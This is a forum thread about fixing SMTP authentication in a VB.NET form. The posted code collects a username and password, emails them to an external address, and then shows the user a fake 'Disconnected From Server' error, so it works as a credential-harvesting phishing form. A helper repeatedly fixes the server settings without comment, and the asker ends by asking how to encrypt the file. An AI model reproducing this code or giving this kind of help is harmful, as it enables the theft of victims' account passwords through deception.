Authenticating SMTP Credentials

Posts 1–7 of 7 · Page 1 of 1
Authenticating SMTP Credentials
k im get a message cant authanticate and every key i get a pop up box
Code:
Imports System.Net.Mail

Public Class Form1
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
If TextBox1.Text = "" And TextBox2.Text = "" Then
MessageBox.Show("Please fill out the form first")
Else
If TextBox2.Text = "" Then
MessageBox.Show("Password Is Missing")
Else
If TextBox1.Text = "" Then
MessageBox.Show("Username is missing")
Else
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("2@Y ahoo.com", "")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("@Y ahoo.com")
mail.To.Add("@gmail.com")
mail.Subject = "Username: " & TextBox1.Text & " " & "Password: " & TextBox2.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")
End If
End If
End If
End Sub
End Class
You are using Google's SMTP server and using Yahoo account to send your email. This obviously would fail to authenticate. Use GMail email account and password to send the email or change SMTP server settings.
Quote Originally Posted by Hassan View Post
You are using Google's SMTP server and using Yahoo account to send your email. This obviously would fail to authenticate. Use GMail email account and password to send the email or change SMTP server settings.
everytime i have a question u have the answer thnx
o i forgot if i add in more lines do i put the end if's at the before Dim
or do i put the end if's after each Else?
If, Else If and Else are conditional statements. You only need them when you want to execute some statements based on whether a particular condition is true or false. In your code, you are doing a few checks and then executing the statements. For Example, In Your Code:

Code:
If TextBox1.Text = "" Then
MessageBox.Show("Username is missing")
Else
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("2@Y ahoo.com", "")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("@Y ahoo.com")
mail.To.Add("@gmail.com")
mail.Subject = "Username: " & TextBox1.Text & " " & "Password: " & TextBox2.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")
End If
You are checking if the TextBox1, that contains the username is empty or not. If it is, you display a warning to the user. Otherwise you send the email which are the statements between Else and End If. So, you'll need to add more functionality for sending emails between these two lines (Else and End If). BTW, these are basics of any language. I suggest you properly learn these things. Language doesn't matter, just learn these concepts.
then wat do i do abolut my email because that is the login for my email is @Y ahoo.com
Quote Originally Posted by kolec94 View Post
then wat do i do abolut my email because that is the login for my email is @Y ahoo.com
Try changing these two lines in your code:

Code:
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
To:

Code:
smtpServer.Port = 465
smtpServer.Host = "plus.smtp.mail.yahoo.com"
If these settings don't work, google for yahoo's SMTP server host and port number. Try until some setting works for you.
Quote Originally Posted by Hassan View Post


Try changing these two lines in your code:

Code:
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
To:

Code:
smtpServer.Port = 465
smtpServer.Host = "plus.smtp.mail.yahoo.com"
If these settings don't work, google for yahoo's SMTP server host and port number. Try until some setting works for you.
k i got all that done i was w2ondering how to enecrypt the file
Posts 1–7 of 7 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us